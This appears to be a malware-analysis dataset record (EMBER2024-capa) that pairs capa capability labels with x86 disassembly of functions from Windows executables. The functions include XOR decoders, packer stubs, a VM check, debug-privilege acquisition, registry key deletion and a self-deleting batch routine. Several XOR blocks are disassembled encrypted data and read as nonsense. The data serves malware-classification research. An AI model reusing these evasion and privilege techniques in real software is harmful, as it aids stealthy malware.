joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ae1b
Capabilities:
Encode data using xor

Disassembly:
and dword [ecx + 0x6a426ad1], edi
add ah, dl
and byte [eax + 0xd5c4c67], cl
movsd dword es:[edi], dword [esi]
sbb al, 0x4f
retf
insd dword es:[edi], dx
std
dec edx
sub dh, bl
inc esi
ror dword [edx - 0x1d01f907], 1
add edx, esi
xor ah, byte [eax - 0x7c61f43c]
xor ah, byte [eax - 0x7c61f43c]
jns 0x45ade9
lahf
sal dword [edx + 0x3159816c], 2
pop ebp
loopne 0x45ae2a
add dword [eax - 0x7a], esi
xchg dword [ecx], edx
movsd dword es:[edi], dword [esi]
xchg esi, eax
xlatb
mov byte [0x667b9705], al
pop edx
test dword [ebx], edi
and dword [edx - 0x4d7b08fd], eax
adc byte [edi - 0x28e99668], ah
pop ss
daa
test dword [edx + esi*4 + 0x6998a710], 0x2717d716
cmp dword [esp + esi*2 - 0x54a16f1f], ecx
imul ebp, dword [esi + 0x454ce339], 0xffffffc1
or al, 0x9e
mov ecx, 0x72c8e7e4
test byte [edi], bh
inc edx
lodsd eax, dword [esi]
into
mov eax, 0x62b579d7
push ebx
push ebx
push eax
mov ah, 0xee
mov dl, 0xcf
push edi
pop edi
stosd dword es:[edi], eax
sysexit
not dh
jnp 0x45ae51
scasd eax, dword es:[edi]
int3

Function at 0x46cb43
Capabilities:
Encode data using xor

Disassembly:
scasd eax, dword es:[edi]
mov dl, 0x76
mov al, byte [0x33e7551]
or dh, ch

Function at 0x46d13b
Capabilities:
Check for vm using instruction vpcext
Encode data using xor

Disassembly:
or al, 0xc6
insb byte es:[edi], dx
jmp 0xad83a347
scasb al, byte es:[edi]
dec esi
cmp al, 0x6b
mov eax, dword [0x78e0c51e]
xchg ebx, eax
lodsb al, byte [esi]
jo 0x46d0bd
ffree st(6)
in eax, dx
insb byte es:[edi], dx
js 0x46d123
jmp 0xde2c74e8
invalid
outsb dx, byte [esi]
mov al, byte [0xfb95de6a]
rcl byte [edx]
jae 0x46d19e
sbb dh, byte [edx + 0x5eb7b77d]
cdq
inc edi
push esp
jle 0x46d1a8
xor bl, 0x29
scasd eax, dword es:[edi]
das
mov si, 0xbffe
push ebx
fist word [edi + 0x292b878c]
js 0x46d11c
jbe 0x46d0d9
int3
outsd dx, dword [esi]
mov esi, 0x6cad397c
xchg edx, eax
sbb ah, byte [edx - 0x4d60f9c9]
xchg esi, eax
push es
lahf
mov dl, 0x96
push edx
mov edi, 0x6e4e0dbe
push edx
pop dword [esp + esi + 0x2f42fd0f]
sub dword [ecx + ecx*8 - 0x6a], edi
das
adc edx, edi
pop esi
mov ah, 0x5a
dec edi
in eax, dx
fmulp st(2)
dec ebx
push edx
adc bh, byte [esi + 1]
push es
inc ebp
sbb al, 0x77
dec ebp
imul ebp, dword [edi], 0xffffff96
insb byte es:[edi], dx
inc esi
pop ebx
push edx
outsd dx, dword [esi]
pushal
adc eax, 0x37271fa6
push ds
jnp 0x46d1e8
pop edi
mov ebp, 0xaa54e920
mov esp, 0xddccbde7
imul eax, dword [edi], 0x2f071ec9
jle 0x46d20e
jmp 0xe8037c41
xor dword [esi], esp
xchg ecx, eax
dec edi
or al, 0x86
add dword [edx + 0x4f], esp
popal
popfd
mov ebp, 0x6f9efcef
and al, 0x9d
insb byte es:[edi], dx
inc edx
pop ebp
mov al, byte [esi + 0x6a]
mov ebp, dword [esp + ecx*4 - 0x504dc0e7]
inc esi
push 0xffffffffffffff8b
lodsb al, byte [esi]
mov word [ecx], ds
aas
mov dl, 0xaf
or dword [eax + 0x3acc3729], edx
xor edi, dword [edx]
pop edi
mov edi, 0xcb706130
daa
and dword [ecx - 0x4d], edi
add byte [eax], ch
mov byte [esi - 0x456bba61], dh
cld
sub eax, 0xa4de0e70
cmp cl, bh
sub al, 0x9d
cmpsd dword [esi], dword es:[edi]
cmc
xor byte [esi], dl
loopne 0x46d221
xor byte [ecx + 0x70], ah
retf
invalid
Function at 0x4c75ce
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4ce560
cmp edx, dword [eax]
je 0x4c75f0
add eax, 8
inc ecx
cmp eax, 0x4ce5f0
jl 0x4c75e1
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4ce560]
jne 0x4c771e
mov eax, dword [0x4d2c50]
cmp eax, 1
je 0x4c76f8
test eax, eax
jne 0x4c7621
cmp dword [0x4ce4a0], 1
je 0x4c76f8
cmp edx, 0xfc
je 0x4c771e
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c7658
lea eax, [ebp - 0x1a4]
push 0x4cb9b4
push eax
call fcn.004c7ce0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c7f10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c769b
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c7f10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cb9b0
push edi
call fcn.004c96e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4cb994
push eax
call fcn.004c7ce0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c7cf0
lea eax, [ebp - 0xa0]
push 0x4cb990
push eax
call fcn.004c7cf0
push dword [esi + 0x4ce564]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c7cf0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4cb968
push eax
call fcn.004c9654
add esp, 0x2c
pop edi
jmp 0x4c771e
lea eax, [ebp + 8]
lea esi, [esi + 0x4ce564]
push 0
push eax
push dword [esi]
call fcn.004c7f10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x82218b
Capabilities:
Encode data using xor

Disassembly:
invalid
inc esp
mov cl, 0x70
pop es
cli
mov edx, 0x6c84e8b8
and byte [edx], bl
and byte [edi - 0x5b], dh
and ebp, 0x40
xor eax, 0xdec21cda
sub byte [esi - 0x193374f6], bl
xor dword [edx], ecx
sub eax, 0xc009704c
in eax, 0x19
inc edi
test dword [edx - 0x6d50bb0a], esi
fisubr dword [edi]
pop ecx
lcall 0xb04f, 0x7164701e
pop eax
pop ebx
je 0x8221a8
sbb al, 0x6f
arpl word [ebp - 0xdafc121], dx
fcmovnb st(0), st(1)
sal byte [ebx - 0xf], 1
sti
adc byte [ebx], dh
adc dword [eax - 0x2c], 0xffffff88
outsd dx, dword [esi]
jnp 0x82216f
and al, 0x3d
mov esi, 0x59da9785
int3

Function at 0x4ecb0c
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4ec887
inc edi
sub edi, edi
call fcn.004ecb4b
sub ecx, 0x4cfdf5e
add ecx, 0xefbad48d
xor dword [esi], eax
mov edi, edi
and edi, ecx
dec edi
add esi, 1
mov ecx, edi
add edi, 1
inc ecx
cmp esi, edx
jl fcn.004ecb0c
sub ecx, edi
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x65eb3f55
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x75b655a5
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x40217d
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x40217f
ret

Function at 0x40a5d0
Capabilities:
Encode data using xor

Disassembly:
sbb al, 0x8d
je 0x40a569
invalid
mov cl, byte [edx]
test cl, cl
mov byte [edx + 0x42400974], ch
inc esi
invalid
push 0x2f
push edi
call ebx
push 0x5d
push 0xffffffffffffff8b
invalid
mov eax, 0x905a0004
nop
nop
nop
nop
pop esp
js 0x40a55d
in al, dx
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 0x10]
test ebx, ebx
push edi
mov dword [ebp - 4], 0
jge 0x40a5f9
mov eax, dword [ebp + 0xc]
jnp 0x40a5c6
and bh, byte [eax]
add byte [edx + ebp - 0xa], dh
dec esp
cwde
je 0x40a638
test ecx, ebx
jne 0x40a58f
xchg esi, eax
jns 0x40a5ff
popfd
add al, 0xe5
lodsb al, byte [esi]
add dh, dl
push eax
call dword [0x5d40c15c]
add esp, 0xffffffa9
mov edi, eax
sub ebx, ebx
mov dword [ebp - 0xc], edi
jle 0x40a64a
mov eax, dword [ebp - 0x6b]
mov esi, edi
sub eax, edi
sbb dword [ebp - 8], 0xffffff89
inc ebp
adc bl, ch
add ecx, dword [ebx + 0xc8b1045]
xor byte [ecx - 1], dl
ja 0x40a5f8
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + esi]
push ecx
push dword [edi - 0x35]
mov dh, 0x40
add byte [ebx - 0x76bfea3c], al
xor cl, byte [ebx - 0x2ffc03ab]
cld
add edx, eax
mov eax, esi
clc
mov dword [ecx], edx
add al, 8
mov dword [ebp - 0x79], edx
mov dword [ebp - 8], eax
jne 0x40a623
mov esp, dword [eax]
cld
push ebx
inc esp
inc eax
add dword [eax - 0x10], edx
inc ebp
cld
call dword [0xfe40c18d]
push ecx
les eax, [ebx + esi]
rol dword [ebp - 0x7077625], 0x8b
invalid
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x52ee32fc
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x570128d9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4d7ea0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x95000]
push edi
jmp 0x4d7eba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d7ec1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d7eb0
mov eax, 1
add ebx, ebx
jne 0x4d7ed3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d7ee4
jne 0x4d7f03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d7f03
dec eax
add ebx, ebx
jne 0x4d7ef0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d7ec8
add ebx, ebx
jne 0x4d7eff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4d7f55
xor ecx, ecx
sub eax, 3
jb 0x4d7f1b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d7f8a
sar eax, 1
mov ebp, eax
jmp 0x4d7f26
add ebx, ebx
jne 0x4d7f26
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d7ef4
inc ecx
add ebx, ebx
jne 0x4d7f34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d7ef4
add ebx, ebx
jne 0x4d7f41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d7f36
jne 0x4d7f52
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d7f36
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d7f74
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d7f66
jmp 0x4d7eb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d7f74
add edi, ecx
jmp 0x4d7eb6
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d7f92
cmp byte [edi], 0x13
jne 0x4d7f92
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d7f97
lea edi, [esi + 0xd3000]
mov eax, dword [edi]
or eax, eax
je 0x4d800f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xfeca8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xfedfc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d7fc4
mov ecx, edi
jns 0x4d7ff3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xfee00]
or eax, eax
je 0x4d8009
mov dword [ebx], eax
add ebx, 4
jmp 0x4d7fe1
call dword [esi + 0xfee10]
mov ebp, dword [esi + 0xfee04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d8043
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x43f15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x43f168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x43f14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x43f145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x43f145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret

Function at 0x43f1d2
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
jmp edx
mov ecx, dword [ebx + 0x28]
cmp ecx, 1
je 0x43f1c1
mov ecx, ebx
sub ecx, dword [ebx + 4]
xor cx, cx
mov dword [ebx + 0x24], ecx
add ecx, dword [ebx + 8]
mov esi, ecx
mov ecx, dword [ebx + 0xc]
xor edx, edx
mov eax, dword [ebx + 0x10]
rol eax, 1
ror eax, 1
push eax
xor eax, eax
pop eax
xor dword [esi + edx], eax
add edx, 6
sub edx, 2
cmp edx, ecx
jl 0x43f1f5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + 0x24]
add ecx, dword [ebx + 0x1c]
mov esi, ecx
mov ecx, dword [ebx + 0x20]
xor edx, edx
mov eax, dword [ebx + 0x10]
rol eax, 1
ror eax, 1
push eax
xor eax, eax
pop eax
xor dword [esi + edx], eax
add edx, 6
sub edx, 2
cmp edx, ecx
jl 0x43f285
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx + 0x28], 1
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
mov dword [esp + 0x34], edx
jmp edx
Function at 0x633f10
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x6489fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [esp + 0x2c]
xor ebp, ebp
mov dword [esp + 0x10], eax
xor ebx, ebx
mov eax, 1
mov ecx, ebx
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
je 0x634002
lea edx, [ebx + 0x41]
lea eax, [esp + 0x14]
push edx
push str._c:_
push eax
call fcn.00637dff
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x634002
lea edx, [esp + 0x14]
push edx
push 0x64e140
call fcn.0062f6e0
lea eax, [esp + 0x1c]
lea edi, [esi + 0x1048]
push eax
push edi
mov word [esp + 0x28], bp
call fcn.0063820b
push 0x10
call fcn.006381d3
add esp, 0x14
mov dword [esp + 0x2c], eax
cmp eax, ebp
mov dword [esp + 0x24], ebp
je 0x633fc5
mov cx, word [edi]
push ecx
mov ecx, eax
call fcn.006241c0
jmp 0x633fc7
xor eax, eax
push esi
mov dword [esp + 0x28], 0xffffffff
mov dword [esi], eax
call fcn.00633b80
mov edi, dword [esi]
add esp, 4
cmp edi, ebp
je 0x633ff0
mov ecx, edi
call fcn.006242c0
push edi
call fcn.006381c8
add esp, 4
mov edx, dword [esi + 0x1024]
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x634021
inc ebx
cmp ebx, 0x20
jb 0x633f3e
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x6371b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00637140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00637140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00637140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00637140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x637230
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x20c
lea eax, [esp]
push ebx
mov ebx, dword [esp + 0x218]
push ebp
mov ebp, dword [esp + 0x218]
push esi
push eax
push 0xf003f
push 0
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x6372d6
mov edx, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
lea ecx, [esp + 0x14]
push 0x104
push ecx
push eax
push edx
call edi
mov esi, eax
test esi, esi
jne 0x6372ae
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
call fcn.00637230
mov esi, eax
add esp, 8
test esi, esi
jne 0x6372ae
lea edx, [esp + 0x14]
push 0x104
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call edi
mov esi, eax
test esi, esi
je 0x63727e
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, 0x103
pop edi
je 0x6372ce
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret

Function at 0x637bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x637c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x64987c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x637c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x637c52
xor eax, eax
pop esi
leave
ret 4
Function at 0x401748
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov byte [ecx + 0x68], al
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret

Function at 0x401ef2
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x4c
push ebx
mov ebx, ecx
push ebp
xor ebp, ebp
push esi
mov eax, dword [ebx]
push edi
cmp dword [eax - 0xc], ebp
je 0x40207e
call fcn.0040522e
push eax
lea ecx, [esp + 0x14]
call fcn.004028b4
push 0x43e8c0
lea ecx, [esp + 0x18]
call fcn.00404f61
lea edx, [esp + 0x10]
lea ecx, [esp + 0x14]
call fcn.0040b198
mov ecx, dword [esp + 0x14]
lea ecx, [ecx - 0x10]
call fcn.004052ff
push str..bat
lea ecx, [esp + 0x14]
call fcn.004028da
mov esi, dword [esp + 0x10]
push ebp
push 0x80
push 2
push ebp
push ebp
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x401f7c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esi - 0x10]
jmp 0x402079
call fcn.0040522e
push eax
lea ecx, [esp + 0x18]
call fcn.004028b4
push esi
lea ecx, [esp + 0x1c]
call fcn.004027a8
mov edi, dword [esp + 0x18]
mov ecx, str._echo_off__r_nATTRIB__r___s___r_n:try__r_ndel___s___r_nif_exist___s__goto_try_r_nATTRIB__r___s___r_ndel___s___cls
cmp byte [ebx + 9], 0
mov eax, str._echo_off__r_nATTRIB__r___s___r_n:try__r_nrd___s___r_nif_exist___s__goto_try_r_nATTRIB__r___s___r_ndel___s___cls
push edi
push edi
push dword [ebx]
cmove eax, ecx
push dword [ebx]
push dword [ebx]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.00402a68
mov esi, dword [esp + 0x30]
lea eax, [esp + 0x38]
add esp, 0x1c
push 0
push eax
push dword [esi - 0xc]
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [edi - 0x10]
call fcn.004052ff
lea ecx, [esi - 0x10]
call fcn.004052ff
test ebp, ebp
je 0x401ff1
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebx + 4]
lea ecx, [esp + 0x14]
call fcn.0040ad8c
cmp byte [ebx + 8], 0
jne 0x40201f
mov esi, dword [esp + 0x14]
xor eax, eax
mov edi, dword [esp + 0x10]
push eax
push esi
push eax
push edi
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40206e
push 0x3c
pop esi
push esi
xor ebp, ebp
lea eax, [esp + 0x24]
push ebp
push eax
call fcn.00425780
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0x2c]
add esp, 0xc
mov dword [esp + 0x20], esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0x28], ebp
mov dword [esp + 0x24], 0x500
push eax
mov dword [esp + 0x30], str.runas
mov dword [esp + 0x34], edi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebp
mov dword [esp + 0x40], ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
lea ecx, [esi - 0x10]
call fcn.004052ff
lea ecx, [edi - 0x10]
call fcn.004052ff
mov ecx, dword [ebx + 4]
sub ecx, 0x10
call fcn.004052ff
mov ecx, dword [ebx]
sub ecx, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
jmp fcn.004052ff
Function at 0x403def
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x21c
mov eax, dword [0x448010]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push ebp
mov ebp, dword [esp + 0x228]
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], ebx
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov eax, dword [edi + 4]
or eax, 0x2001f
push eax
push ebp
push dword [edi]
call fcn.00403d91
mov esi, eax
test esi, esi
jne 0x403ec8
lea eax, [esp + 0x20]
mov dword [esp + 0x10], 0x100
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push ebx
push dword [esp + 0x30]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
call ebx
test eax, eax
jne 0x403ea3
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
call fcn.00403def
mov esi, eax
test esi, esi
jne 0x403ec8
lea eax, [esp + 0x20]
mov dword [esp + 0x10], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x30]
call ebx
test eax, eax
je 0x403e68
jmp 0x403ea5
xor esi, esi
cmp dword [esp + 0x14], 0
je 0x403eba
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], esi
push ebp
mov ecx, edi
mov dword [esp + 0x1c], esi
call fcn.00403f90
mov esi, eax
lea ecx, [esp + 0x14]
call fcn.00403f25
mov ecx, dword [esp + 0x228]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004246ea
add esp, 0x21c
ret 4